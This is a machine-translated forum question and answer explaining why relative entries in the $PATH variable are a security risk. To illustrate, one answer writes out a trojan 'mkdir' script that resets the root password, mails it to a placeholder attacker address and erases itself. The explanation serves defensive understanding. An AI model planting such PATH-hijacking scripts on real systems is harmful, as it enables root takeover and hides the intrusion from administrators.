Назад | Перейти на главную страницу

Последствия для безопасности использования относительных путей в переменной среды PATH?

У нас был аудит, просто отметьте нас за то, что относительные пути вывернуты наизнанку $PATH переменная env. Я не уверен, действительно ли это проблема безопасности, и хотел бы связаться со всеми, чтобы узнать, действительно ли это проблема безопасности или это просто лучшие практики вещь, как я предполагаю. Может ли кто-нибудь предоставить информацию о любых проблемах безопасности при использовании $PATH с родственниками? Спасибо

У используемого пути есть две проблемы.

  1. Путь относительный.
  2. Приходит относительный путь перед основные пути.

Предположим, у вас есть следующий сценарий оболочки, который вы используете как root для обновления некоторого веб-приложения, и вы установили $PATH используется в /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

Злоумышленнику вы предоставляете средство для выполнения чего-либо в оболочке, контролируемой этим злоумышленником. Форма атаки может выглядеть так - я пытаюсь подорвать контроль над mkdir вызовите уязвимый скрипт.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Тогда я жду, когда вы обновите свое веб-приложение.

Теперь происходит то, что уязвимый сценарий переключается на /dev/shm. Когда он это делает и работает mkdir он находит apps/java/bin/mkdir сначала программа, которая в этом случае сбрасывает пароль root, отправляет злоумышленнику электронное письмо с новым паролем root, фактически вызывает настоящий mkdir (чтобы скрыть факт, что что-то действительно произошло) и удаляется с пути атаки.

Как root у вас есть нет Идея о том, что произошло, и доказательства стираются после доставки полезной нагрузки.

Проблема с указанием относительного пути в $ PATH заключается в том, что если злоумышленник может создать файл с заданным именем в вашей файловой системе, вы рискуете запустить этот файл.

Пример: df или мониторинг говорит, что / var заполнен, du говорит, что это /var/spool/ftp/uploads, чем ты занимаешься?

cd /var/spool/ftp/uploads
ls -ltr

и вы принадлежите. Ты даже не видишь ls на выходе, так что вы никогда не узнаете.

Замените загрузку ftp каталогом данных какого-либо клиентского веб-сайта, или каталогом / tmp общей машины, или многими другими вещами.

По общему признанию, это произойдет не часто, но риск существует, и написание ./script вместо того script это легко.